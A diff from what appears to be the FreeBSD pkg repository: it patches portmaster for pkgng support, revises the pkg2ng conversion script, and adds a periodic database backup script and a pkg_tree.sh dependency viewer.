 	'')	echo '' ; no_valid_port ;;
 	$pd/*)	portdir=${argv#$pd/} ;;
-	$pdb/*)	upg_port=${argv#$pdb/} ;;
+	$pdb/*)	if [ -z "$use_pkgng" ]; then
@@ -932,14 +895,19 @@
+		fi ;;
 	/*)	echo '' ; no_valid_port ;;
 	*/*)	portdir=$argv ;;
-
 	\.)	portdir=${PWD##*/ports/} ;; # Not always $pd, could be symlink
+
 	\.|'')	portdir="$PWD"
+
@@ -3131,7 +3374,9 @@
+
 			*)	echo '' ; no_valid_port ;;
+
 			esac
+
 		done ;;
-	*)	[ -d "$pdb/$argv" ] && upg_port=$argv ;;
-
+	*)	[ -d "$pdb/$argv" ] && ( [ -z "$use_pkgng" ] || pkg info -e $argv ) &&
-
+		upg_port=$argv ;;
+
+	*)	[ -d "$pdb/$argv" ] && \
+
+			( [ -z "$use_pkgng" ] || pkg info -e $argv ) && \
+
+			upg_port=$argv ;;
 	esac
 
 	if [ -z "$portdir" -a -z "$upg_port" ]; then
-
@@ -3069,7 +3335,7 @@
+
@@ -3164,7 +3409,7 @@
 
 	case "$arg2" in
 	*/*)	ro_opd=$arg2 ; ro_upg_port=`iport_from_origin $ro_opd` ;;
@@ -948,7 +916,7 @@
 			ro_upg_port=$arg2
 		else
 			find_glob_dirs $arg2 && ro_upg_port=${glob_dirs#$pdb/}
-
@@ -3080,12 +3346,21 @@
+
@@ -3179,12 +3424,21 @@
 	unset arg2
 
 	if [ -z "$ro_upg_port" ]; then
@@ -973,16 +941,16 @@
 			echo '       or listed as a dependency'
 			echo '' ; no_valid_port
 		fi
-
@@ -3117,7 +3392,7 @@
+
@@ -3216,7 +3470,7 @@
 fi
 [ -z "$upg_port" -a -z "$REPLACE_ORIGIN" ] && upg_port=`iport_from_origin ${portdir}`
 
-if [ -e "$pdb/$upg_port/+IGNOREME" ]; then
+if [ -e "$pdb/$upg_port/+IGNOREME" ] && ( [ -z "$use_pkgng" ] || pkg info -e $upg_port ); then
-
 	# Adding to CUR_DEPS means we will not get here in the build unless -G
+
 	# Adding to CUR_DEPS means we will not get here in the build
 	if [ -z "$PM_BUILDING" ]; then
 		# Only need to prompt for this once if -ai
-
@@ -3525,7 +3800,12 @@
+
@@ -3602,7 +3856,12 @@
 		pm_v "===>>> Available package ($latest_pv) matches the current version"
 	elif [ -n "$latest_pv" -a -n "$PM_PACKAGES_NEWER" ]; then
 		if [ -n "$upg_port" ]; then
@@ -996,7 +964,7 @@
 			\<)	use_package=up_newer
 				pm_v "===>>> Available package ($latest_pv)"
 				pm_v "       is newer than installed ($upg_port)" ;;
-
@@ -3541,7 +3821,12 @@
+
@@ -3618,7 +3877,12 @@
 			pm_v "===>>> There is a package available ($latest_pv)"
 		fi
 	elif [ -n "$latest_pv" ]; then
@@ -1010,8 +978,8 @@
 		\<)	# Could happen if ports tree is out of date
 			use_package=up_old_tree
 			pm_v "===>>> Available package ($latest_pv)"
-
@@ -3640,7 +3925,12 @@
-
 		    grep -v ^$LOCALBASE_COMPAT > $ldconfig_out
+
@@ -3718,7 +3982,12 @@
+
 		    grep -v ^$LOCALBASE_COMPAT > $pm_mktemp_file
 
 		unset temp
-		for file in `pkg_info -q -L $UPGRADE_PORT |
@@ -1021,10 +989,10 @@
+			pkglist="pkg query %Fp"
+		fi
+		for file in `$pkglist $UPGRADE_PORT |
-
 		    sort - $ldconfig_out | uniq -d`; do
+
 		    sort - $pm_mktemp_file | uniq -d`; do
 			temp="${temp}$file "
 		done
-
@@ -3663,6 +3953,7 @@
+
@@ -3741,6 +4010,7 @@
 
 	if [ -n "$REPLACE_ORIGIN" -a -n "$ro_upg_port" ]; then
 		# Delete any existing versions of the old port
@@ -1032,20 +1000,22 @@
 		pm_sv "Running pkg_delete for $ro_upg_port"
 		pm_pkg_delete_s -f $ro_upg_port
 	fi
-
@@ -3681,6 +3972,8 @@
+
@@ -3760,6 +4030,10 @@
 			unset preserve_port files
 		esac
 
-
+		# Orphan state of $ro_upg_port has precedence
-
+		: ${np_orphan:=`pkg query "%a" $upg_port`}
+
+		# If $ro_upg_port was non-automatic, keep its state
+
+		if [ "${np_orphan:-1}" -eq 1 ]; then
+
+			np_orphan=`pkg query "%a" $upg_port`
+
+		fi
 		pm_sv "Running pkg_delete for $upg_port"
 		pm_pkg_delete_s -f $upg_port
 	fi
-
@@ -3726,6 +4019,18 @@
+
@@ -3806,6 +4080,18 @@
 		unset port_log_args
 	fi
 
-
+	if [ -z "$UPDATE_ALL" -a -z "$REPLACE_ORIGIN" -a -z "$PM_URB" -a "${np_orphan:-1}" -eq 1 ]; then
+
+	if [ -z "$np_orphan" -a -z "$UPDATE_ALL" -a -z "$REPLACE_ORIGIN" -a -z "$PM_URB" ]; then
+		if [ -n "$PM_MULTI_PORTS" ]; then
+			case "$PM_MULTI_PORTS" in
+			*:${upg_port:-NONE}:*)	np_orphan=0 ;;
@@ -1060,7 +1030,7 @@
 	# Defining NO_DEPENDS ensures that we will control the installation
 	# of the depends, not bsd.port.mk.
 	eval pm_make_s -DNO_DEPENDS install $port_log_args || install_failed $new_port
-
@@ -3743,29 +4048,32 @@
+
@@ -3823,29 +4109,31 @@
 	fi
 fi
 
@@ -1069,7 +1039,7 @@
-	mv ${preserve_dir}/${file##*/} $file
-	oldmd5="MD5:`md5 -q $file`"
-
-
-	new_cont=`pm_mktemp contents`
+
-	pm_mktemp contents
-	while read left right; do
-		case "$left" in
-		@cwd)		short_file="${file#${right}/}" ;;
@@ -1082,19 +1052,18 @@
-				fi ;;
-		esac
-		echo "$left $right"
-
-	done < $pdb/$new_port/+CONTENTS > $new_cont
-
-	pm_install_s $new_cont $contents
-
-	pm_unlink $new_cont
-
-	unset file oldmd5 new_cont left right short_file
+
-	done < $pdb/$new_port/+CONTENTS > $pm_mktemp_file
+
-	pm_install_s $pm_mktemp_file $contents
+
-	pm_unlink $pm_mktemp_file
+
-	unset file oldmd5 pm_mktemp_file left right short_file
-done
-
+#TODO
+if [ -z "$use_pkgng" ]; then
+	for file in $preserve_port_files; do
+		mv $file ${file}-new
+		mv ${preserve_dir}/${file##*/} $file
+		oldmd5="MD5:`md5 -q $file`"
-
+
-
+		new_cont=`pm_mktemp contents`
+
+	
+
+		pm_mktemp contents
+		while read left right; do
+			case "$left" in
+			@cwd)		short_file="${file#${right}/}" ;;
@@ -1107,16 +1076,16 @@
+					fi ;;
+			esac
+			echo "$left $right"
-
+		done < $pdb/$new_port/+CONTENTS > $new_cont
-
+		pm_install_s $new_cont $contents
-
+		pm_unlink $new_cont
-
+		unset file oldmd5 new_cont left right short_file
+
+		done < $pdb/$new_port/+CONTENTS > $pm_mktemp_file
+
+		pm_install_s $pm_mktemp_file $contents
+
+		pm_unlink $pm_mktemp_file
+
+		unset file oldmd5 pm_mktemp_file left right short_file
+	done
+fi
 if [ -n "$preserve_dir" ]; then
 	rmdir $preserve_dir 2>/dev/null
 	unset preserve_dir preserve_port_files
-
@@ -3781,14 +4089,19 @@
+
@@ -3861,14 +4149,19 @@
 temp=`find $LOCALBASE_COMPAT -type d -empty 2>/dev/null`
 if [ -z "$temp" ] && [ -d "$LOCALBASE_COMPAT" ]; then
 	unset files
@@ -1138,17 +1107,22 @@
 		$PM_SU_CMD /etc/rc.d/ldconfig start > /dev/null
 	fi
 	unset temp file files
-
@@ -3844,7 +4157,8 @@
-
 	/bin/unlink $dist_list_temp ; unset ds dist_list_temp
+
@@ -3920,11 +4213,13 @@
+
 	done
+
 
+
 	pm_sv "Installing $dist_list\n"
+
+	pm_mkdir_s ${dist_list%/*}
+
 	pm_install_s $pm_mktemp_file $dist_list
+
 	/bin/unlink $pm_mktemp_file ; unset distinfo pm_mktemp_file file line
 fi
 
-if [ -n "$use_package" ]; then
+# pkgng does not need this
+if [ -z "$use_pkgng" -a -n "$use_package" ]; then
 	if grep -q DEPORIGIN $pdb/$new_port/+CONTENTS; then
-
 		echo "===>>> Updating dependencies for $new_port to match installed versions"
-
 		update_contents $pdb/$new_port/+CONTENTS
-
@@ -3866,7 +4180,7 @@
+
 		echo -e "===>>> Updating dependencies for $new_port to match installed versions\n"
+
 		update_contents $pdb/$new_port/+CONTENTS ; pm_v
+
@@ -3946,7 +4241,7 @@
 if [ -n "$MAKE_PACKAGE" ]; then
 	if [ -z "$use_package" ]; then
 		echo "===>>> Creating a package for new version $new_port"
@@ -1157,21 +1131,20 @@
 		echo "	===>>> Package saved to $PACKAGES/All" ; echo ''
 	else
 		pm_pkg_create $PACKAGES $new_port
-
@@ -3879,27 +4193,34 @@
-
 	echo ''
+
@@ -3959,29 +4254,37 @@
+
 	pm_v
 fi
 
-check_dependency_files $portdir $new_port
-if [ -s "$grep_deps" ]; then
-
-	echo "===>>> Updating dependency entry for $new_port in each dependent port"; pm_v
+
-	echo -e "===>>> Updating dependency entry for $new_port in each dependent port\n"
-	while read d_port; do
-		pm_v "===>>> $d_port"
-		dp_cont=$pdb/$d_port/+CONTENTS
-		[ -e "$dp_cont" ] || continue
-
-
-		if [ -n "$ro_opd" ]; then
-
-			grep -ql "DEPORIGIN:$ro_opd$" $dp_cont &&
-
-				update_contents $dp_cont $portdir $new_port $ro_opd
+
-		if [ -n "$ro_opd" ] && grep -ql "DEPORIGIN:$ro_opd$" $dp_cont; then
+
-			update_contents $dp_cont $portdir $new_port $ro_opd
-		fi
-		# Do this one last so it can get deleted as a duplicate
-		# if ro_opd is present.
@@ -1179,19 +1152,21 @@
-			update_contents $dp_cont $portdir $new_port
-		fi
-	done < $grep_deps
-
-	unset d_port dp_cont do_update
-
+if [ -z $use_pkgng ]; then
+
-	unset d_port dp_cont ; pm_v
+
-
+
-	update_required_by $new_port
+
-	[ -n "$needws" ] && { pm_v; unset needws; }
+
+if [ -z "$use_pkgng" ]; then
+	check_dependency_files $portdir $new_port
+	if [ -s "$grep_deps" ]; then
-
+		echo "===>>> Updating dependency entry for $new_port in each dependent port"; pm_v
+
+		echo -e "===>>> Updating dependency entry for $new_port in each dependent port\n"
+		while read d_port; do
+			pm_v "===>>> $d_port"
+			dp_cont=$pdb/$d_port/+CONTENTS
+			[ -e "$dp_cont" ] || continue
-
+
-
+			if [ -n "$ro_opd" ]; then
-
+				grep -ql "DEPORIGIN:$ro_opd$" $dp_cont &&
-
+					update_contents $dp_cont $portdir $new_port $ro_opd
+
+	
+
+			if [ -n "$ro_opd" ] && grep -ql "DEPORIGIN:$ro_opd$" $dp_cont; then
+
+				update_contents $dp_cont $portdir $new_port $ro_opd
+			fi
+			# Do this one last so it can get deleted as a duplicate
+			# if ro_opd is present.
@@ -1199,20 +1174,23 @@
+				update_contents $dp_cont $portdir $new_port
+			fi
+		done < $grep_deps
-
+		unset d_port dp_cont do_update
-
 
-
-	update_required_by $new_port
+
+		unset d_port dp_cont ; pm_v
+
+	
+		update_required_by $new_port
+
+		[ -n "$needws" ] && { pm_v; unset needws; }
+	fi
+else
+	if [ -n "$ro_opd" ]; then
+		echo "===>>> Updating dependency entry for $new_port in each dependent port"
-
+		pkg set -yo $ro_opd:$portdir -g "*"
+
+		pkg set -yo $ro_opd:$portdir
+	fi
 fi
 
+
+
 if [ -n "$upg_port" ]; then
-
@@ -3917,13 +4238,15 @@
+
 	if [ ! "$upg_port" = "$new_port" ]; then
+
 		ilist="Upgrade of $upg_port to $new_port"
+
@@ -3997,13 +4300,15 @@
 fi
 
 INSTALLED_LIST="${INSTALLED_LIST}\t${ilist}\n"
modified ports/pkg2ng
@@ -9,25 +9,38 @@ then
fi

ARCH=$( uname -m )
+
failed_pkgs=""
+
MOVED=0
+
DBDIR="/var/db"
+
PKGDB="${DBDIR}/pkg"
+
PKGBAK="${DBDIR}/pkg.bak"

for PKG in $( pkg_info -Ea )
do
-
	DB="/var/db/pkg/${PKG}"
+
	DB="${PKGDB}/${PKG}"
	DESC="${DB}/+DESC"
+
	if [ ! -e "${PKGBAK}" ]; then
+
		echo "Creating backup pkg_info(1) database directory in ${PKGBAK}."
+
		mkdir -p ${PKGBAK}
+
	fi

	ORIGIN=$(pkg_info -qo ${PKG})
	# register a package only if it's not registered already
	if pkg info -e ${ORIGIN}; then
        echo "${PKG} is already registered."
+
	if [ -e ${DB} ]; then
+
		mv ${DB} ${PKGBAK}/${PKG}
+
		MOVED=1
+
	fi
        continue
	fi
	PREFX=$(pkg_info -qp ${PKG})
-
	if [ -d ${PORTSDIR} ]; then
+
	if [ -d ${PORTSDIR}/${ORIGIN} ]; then
		MAINTAINER=$( make -C ${PORTSDIR}/${ORIGIN} -V MAINTAINER )
		CATEGORIES=$( make -C ${PORTSDIR}/${ORIGIN} -V CATEGORIES | sed -e "s/ /,/g")
		LICENSES=$( make -C ${PORTSDIR}/${ORIGIN} -V LICENSE | sed -e "s/ /,/g")
		LICLOGIC=$(make -C ${PORTSDIR}/${ORIGIN} -V LICENSE_COMB )
-
		OPTIONS=$(make -C ${PORTSDIR}/${ORIGIN} showconfig | awk 'BEGIN{ line=""; }!/^=/ { gsub(/=/,": ",$1); line=line" "$1","; } END{print line}')
+
		OPTIONS=$(make -C ${PORTSDIR}/${ORIGIN} showconfig | awk 'BEGIN{ line=""; }!/^=/ { gsub(/=/,": ",$1); gsub(/:$/,"",$1); line=line" "$1","; } END{print line}')
		USERS=$(make -C ${PORTSDIR}/${ORIGIN} -V USERS | sed -e "s/ /,/g")
		GROUPS=$(make -C ${PORTSDIR}/${ORIGIN} -V GROUPS | sed -e "s/ /,/g")
	else
@@ -66,8 +79,9 @@ do

	pkg register -l -m ${MDIR} -f ${PLIST} ${CMD_ARGS}
	if [ $? -ne 0 ]; then
-
		echo "Registration of ${PKG} failed."
+
		echo "Registration of ${PKG} failed." >&2
		cat ${MANIFEST}
+
		failed_pkgs="${failed_pkgs} ${PKG}"
	else
		rm -rf ${MANIFEST}
	fi
@@ -75,5 +89,25 @@ do
	rm -rf ${MDIR}
done

+
if [ ${MOVED} -eq 1 ]; then
+
	echo "Moved old package database to ${PKGBAK}."
+
fi
+

+
if [ -n "${failed_pkgs}" ]; then
+
	echo "" >&2
+
	echo "!!! Some packages failed to register !!!" >&2
+
	echo "Failed packages: ${failed_pkgs}" >&2
+
else
+
	for PKG in $( pkg_info -Ea ); do
+
		DB="${PKGDB}/${PKG}"
+
		if [ -e ${DB} ]; then
+
			mv ${DB} ${PKGBAK}/${PKG}
+
			MOVED=1
+
		fi
+
	done
+
	echo "Conversion has been successfully finished"
+
	echo "Your old packages database has been moved to: ${PKGBAK}."
+
fi
+

# Delete the portupgrade pkgdb to avoid discrepencies. It will be auto recreated.
rm -f /var/db/pkg/pkgdb.db > /dev/null 2>&1
deleted scripts/find-missing-man-page-sa.sh
@@ -1,26 +0,0 @@
-
#! /bin/sh
-
# Find man pages that are missing from the SEE ALSO sections of other manpages
-

-
# Run from the right path
-
if [ -d ../pkg ]; then
-
	cd ..
-
fi
-

-
exit_status=0
-
for target_path in `find pkg -type f -name '*.8' -or -name '*.5'`; do
-
	target=${target_path#pkg/};
-
	section=${target##*.};
-
	target=${target%.*};
-
	for page_path in `find pkg -type f -name '*.8' -or -name '*.5'`; do
-
		# A pge shouldn't reference itself
-
		if [ $target_path = $page_path ]; then
-
			continue
-
		fi
-
		grep -qm 1 "^\.Xr $target $section" $page_path
-
		if [ $? -ne 0 ]; then
-
			echo "'.Xr $target $section' missing in $page_path" >&2
-
			exit_status=1
-
		fi
-
	done
-
done
-
exit $exit_status
modified scripts/periodic/410.pkg-audit
@@ -59,7 +59,7 @@ case "${daily_status_security_pkgaudit_enable:-YES}" in
		if [ $rc -ne 0 -o \
			$(( 86400 \* "${daily_status_security_pkgaudit_expiry:-2}" )) \
			-le $(( ${now} - ${then} + 600 )) ]; then
-
			/usr/local/sbin/pkg audit -F || {
+
			/usr/local/sbin/pkg audit -Fq || {
			  rc=$?; [ $rc -lt 3 ] && rc=3
			}
		else
added scripts/periodic/411.pkg-backup
@@ -0,0 +1,47 @@
+
#!/bin/sh
+
#
+
# $FreeBSD$
+
#
+

+
# If there is a global system configuration file, suck it in.
+
#
+
if [ -r /etc/defaults/periodic.conf ]
+
then
+
    . /etc/defaults/periodic.conf
+
    source_periodic_confs
+
fi
+

+
rc=0
+

+
case "${daily_backup_pkgng_enable:-YES}" in
+
    [Nn][Oo])
+
        ;;
+
    *)
+
	bak="${daily_backup_pkgng_dir:-/var/backups}"
+
	bak_file="${bak}/pkgng.db"
+
	pkgcmd="/usr/local/sbin/pkg"
+

+
	if [ ! -d "$bak" ]
+
	then
+
	    install -d -o root -g wheel -m 750 $bak || {
+
		echo '$daily_backup_pkgng_enable is enabled but' \
+
		    "$daily_backup_pkgng_dbdir doesn't exist" ;
+
		exit 2 ; }
+
	fi
+

+
	echo ''
+
	echo 'Backing up pkgng database:'
+

+
	if [ -e "${bak_file}.txz" ]; then
+
	    unlink "${bak_file}.txz.2"
+
	    mv "${bak_file}.txz" "${bak_file}.txz.2"
+
	fi
+

+
	if ${pkgcmd} backup -d ${bak_file} 2>/dev/null; then
+
	    rc=0
+
	else
+
	    rc=3
+
	fi
+
esac
+

+
exit $rc
added scripts/pkg_tree.sh
@@ -0,0 +1,131 @@
+
#! /bin/sh
+
# Copyright (c) 2012 Bryan Drewery <bryan@shatow.net>
+
# All rights reserved.
+
# 
+
# Redistribution and use in source and binary forms, with or without
+
# modification, are permitted provided that the following conditions
+
# are met:
+
# 1. Redistributions of source code must retain the above copyright
+
#    notice, this list of conditions and the following disclaimer
+
#    in this position and unchanged.
+
# 2. Redistributions in binary form must reproduce the above copyright
+
#    notice, this list of conditions and the following disclaimer in the
+
#    documentation and/or other materials provided with the distribution.
+
# 
+
# THIS SOFTWARE IS PROVIDED BY THE AUTHOR(S) ``AS IS'' AND ANY EXPRESS OR
+
# IMPLIED WARRANTIES, INCLUDING, BUT NOT LIMITED TO, THE IMPLIED WARRANTIES
+
# OF MERCHANTABILITY AND FITNESS FOR A PARTICULAR PURPOSE ARE DISCLAIMED.
+
# IN NO EVENT SHALL THE AUTHOR(S) BE LIABLE FOR ANY DIRECT, INDIRECT,
+
# INCIDENTAL, SPECIAL, EXEMPLARY, OR CONSEQUENTIAL DAMAGES (INCLUDING, BUT
+
# NOT LIMITED TO, PROCUREMENT OF SUBSTITUTE GOODS OR SERVICES; LOSS OF USE,
+
# DATA, OR PROFITS; OR BUSINESS INTERRUPTION) HOWEVER CAUSED AND ON ANY
+
# THEORY OF LIABILITY, WHETHER IN CONTRACT, STRICT LIABILITY, OR TORT
+
# (INCLUDING NEGLIGENCE OR OTHERWISE) ARISING IN ANY WAY OUT OF THE USE OF
+
# THIS SOFTWARE, EVEN IF ADVISED OF THE POSSIBILITY OF SUCH DAMAGE.
+

+
show_tree() {
+
	local name=$1
+
	local indentation=$2
+
	local parent=$3
+

+
	if [ $RECURSIVE -eq 0 -a $indentation -gt 1 ]; then
+
		return
+
	fi
+

+
	if [ $indentation -eq 0 ]; then
+
		parent="${name}"
+
	else
+
		parent="${parent}% ${name}"
+
	fi
+

+
	echo ${parent}
+

+
	for depends in $(pkg ${PKG_QUERY} ${PKG_QUERY_DISPLAY_DEPENDS} ${name} | sort); do
+
		test -z "${depends}" && return
+
		show_tree $depends $((${indentation} + 1)) ${parent}
+
	done
+
}
+

+
usage() {
+
	echo "Usage: $0 [-nprR] [pkgname|origin] [...]"
+
	echo "-n: Non-tree view, uses tabs instead"
+
	echo "-p: Print package names"
+
	echo "-r: Recursively show required packages"
+
	echo "-R: Use remote repository"
+
	echo "-U: Show reverse depends"
+
	echo "If no package/origin is specified, show all non-automatic packages at top-level."
+
	exit 0
+
}
+

+
while getopts "hnprRU" opt; do
+
	case "${opt}" in
+
		n)
+
			TREE_VIEW=0
+
			;;
+
		p)
+
			DISPLAY_PKG=1
+
			;;
+
		r)
+
			RECURSIVE=1
+
			;;
+
		R)
+
			USE_RQUERY=1
+
			;;
+
		U)
+
			REVERSE_DEPENDS=1
+
			;;
+
		*)
+
			usage
+
			;;
+
	esac
+
done
+

+
shift $(($OPTIND - 1))
+

+
: ${RECURSIVE:=0}
+
: ${REVERSE_DEPENDS:=0}
+
: ${TREE_VIEW:=1}
+
: ${USE_RQUERY:=0}
+
: ${DISPLAY_PKG:=0}
+

+
if [ $REVERSE_DEPENDS -eq 0 ]; then
+
	PKG_QUERY_DEPENDS="d"
+
else
+
	PKG_QUERY_DEPENDS="r"
+
fi
+

+
if [ $DISPLAY_PKG -eq 1 ]; then
+
	PKG_QUERY_DISPLAY="%n-%v"
+
	PKG_QUERY_DISPLAY_DEPENDS="%${PKG_QUERY_DEPENDS}n-%${PKG_QUERY_DEPENDS}v"
+
else
+
	PKG_QUERY_DISPLAY="%o"
+
	PKG_QUERY_DISPLAY_DEPENDS="%${PKG_QUERY_DEPENDS}o"
+
fi
+

+
if [ $USE_RQUERY -eq 0 ]; then
+
	PKG_QUERY=query
+
else
+
	PKG_QUERY=rquery
+
fi
+

+
main() {
+
	if [ $# -eq 0 ]; then
+
		if [ $USE_RQUERY -eq 0 ]; then
+
			packages=$(pkg ${PKG_QUERY} -e '%a = 0' ${PKG_QUERY_DISPLAY} | sort)
+
		else
+
			packages=$(pkg ${PKG_QUERY} ${PKG_QUERY_DISPLAY} | sort)
+
		fi
+
	else
+
		packages=$@
+
	fi;
+

+
	for name in ${packages}; do
+
		show_tree ${name} 0
+
	done
+
}
+

+
if [ $TREE_VIEW -eq 1 ]; then
+
	main $@ | sed -e 's/[^%]*%/|  /g' -e 's/|  \([^|]\)/`--\1/g'
+
else
+
	main $@ | sed -e 's/[^%]*%/	/g'
+
fi